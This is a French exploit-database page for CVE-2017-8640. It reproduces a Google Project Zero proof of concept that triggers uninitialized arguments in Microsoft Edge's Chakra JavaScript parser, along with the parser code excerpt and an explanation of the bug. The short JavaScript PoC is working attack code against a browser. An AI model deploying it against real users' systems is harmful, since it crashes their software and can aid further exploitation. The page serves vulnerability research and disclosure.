Exploit matérialisé

CVE-2017-8640

HIGH

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB dos windows Vérifié

Source

Microsoft Edge Chakra - Uninitialized Arguments (1)

Par Google Security Research

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1297

Here's a snippet of "ParseVariableDeclaration" which is used for parsing declarations.
template<bool buildAST>
ParseNodePtr Parser::ParseVariableDeclaration(
    tokens declarationType, charcount_t ichMin,
    BOOL fAllowIn/* = TRUE*/,
    BOOL* pfForInOk/* = nullptr*/,
    BOOL singleDefOnly/* = FALSE*/,
    BOOL allowInit/* = TRUE*/,
    BOOL isTopVarParse/* = TRUE*/,
    BOOL isFor/* = FALSE*/,
    BOOL* nativeForOk /*= nullptr*/)
{
    ...
    if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc)
    {
        // This var declaration may change the way an 'arguments' identifier in the function is resolved
        if (declarationType == tkVAR)
        {
            m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration;
        }
        else
        {
            if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function)
            {
                // Only override arguments if we are at the function block level.
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl;
            }
        }
    }
    ...
}

"m_currentNodeFunc" is only replaced when "buildAST" is true. So I think it's not supposed to use "m_currentNodeFunc" when "buildAST" is false. But the above code is using it regardless of "buildAST". So it may change a wrong function's "grfpn" flag. What I noticed is the "PNodeFlags::fpnArguments_overriddenByDecl" flag which makes the function's arguments uninitialized.

PoC:
-->

function f() {
    ({a = () => {
        let arguments;
    }} = 1);

    arguments.x;
}

f();